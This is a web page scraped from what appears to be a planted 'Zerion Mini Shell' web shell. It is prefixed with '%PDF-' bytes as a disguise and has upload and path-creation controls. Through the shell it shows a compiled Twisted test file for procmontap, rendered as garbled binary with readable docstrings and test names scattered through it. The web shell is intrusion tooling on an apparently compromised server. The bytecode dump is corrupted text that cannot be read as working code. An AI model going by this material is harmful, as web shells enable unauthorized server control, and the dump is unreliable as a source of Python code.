%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/runner/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/runner/test/__pycache__/test_procmontap.cpython-312.pyc

�

Ϫ�f

��b�dZddlmZddlmZddlmZddlm	Z	Gd�de	j�Zy)	z)
Tests for L{twisted.runner.procmontap}.
�)�
UsageError)�
procmontap)�ProcessMonitor)�unittestc�H�eZdZdZd
d�Zd
d�Zd
d�Zd
d�Zd
d�Zd
d�Z	d
d	�Z
y)�ProcessMonitorTapTestsz]
    Tests for L{twisted.runner.procmontap}'s option parsing and makeService
    method.
    Nc�n�tj�}|jt|jg�y)z>
        The command line arguments must be provided.
        N)�tap�Options�assertRaisesr�parseOptions��self�opts  �E/usr/lib/python3/dist-packages/twisted/runner/test/test_procmontap.py�test_commandLineRequiredz/ProcessMonitorTapTests.test_commandLineRequireds'���k�k�m�����*�c�&6�&6��;�c�|�tj�}|jgd��|j|dd�y)za
        The threshold option is recognised as a parameter and coerced to
        float.
        )z--threshold�7.5�foo�	threshold�@N�r
rr
�assertEqualrs  r�test_thresholdz%ProcessMonitorTapTests.test_thresholds3��
�k�k�m�����6�7�����[�)�3�/rc�|�tj�}|jgd��|j|dd�y)zX
        The killtime option is recognised as a parameter and coerced to float.
        )z
--killtimerr�killtimerNrrs  r�
test_killTimez$ProcessMonitorTapTests.test_killTime$s2���k�k�m�����5�6�����Z��#�.rc�|�tj�}|jgd��|j|dd�y)zg
        The minrestartdelay option is recognised as a parameter and coerced to
        float.
        )z--minrestartdelayrr�minrestartdelayrNrrs  r�test_minRestartDelayz+ProcessMonitorTapTests.test_minRestartDelay,�4��
�k�k�m�����<�=�����.�/��5rc�|�tj�}|jgd��|j|dd�y)zg
        The maxrestartdelay option is recognised as a parameter and coerced to
        float.
        )z--maxrestartdelayrr�maxrestartdelayrNrrs  r�test_maxRestartDelayz+ProcessMonitorTapTests.test_maxRestartDelay5r"rc��tj�}|jdg�|j|dd�|j|dd�|j|dd�|j|dd�y	)
z8
        The parameters all have default values
        rr�r�r r$iNrrs  r�test_parameterDefaultsz-ProcessMonitorTapTests.test_parameterDefaults>st���k�k�m�����%��!�����[�)�1�-�����Z��!�,�����.�/��3�����.�/��6rc���tj�}|jgd��tj|�}|j	|t
�|j
d|j�y)zP
        The command line gets added as a process to the ProcessMontor.
        )�pingz-c�3z8.8.8.8zping -c 3 8.8.8.8N)r
rr
�makeService�assertIsInstancer�assertIn�	processes)rr�ss   r�test_makeServicez'ProcessMonitorTapTests.test_makeServiceIsO���k�k�m�����7�8��O�O�C� �����a��0��
�
�)�1�;�;�7r)�returnN)�__name__�
__module__�__qualname__�__doc__rrrr!r%r)r2�rrrrs*���
<�0�/�6�6�	7�8rrN)r7�twisted.python.usager�twisted.runnerrr
�twisted.runner.procmonr�
twisted.trialr�TestCaserr8rr�<module>r>s,���,�,�1�"�C8�X�.�.�C8r

Zerion Mini Shell 1.0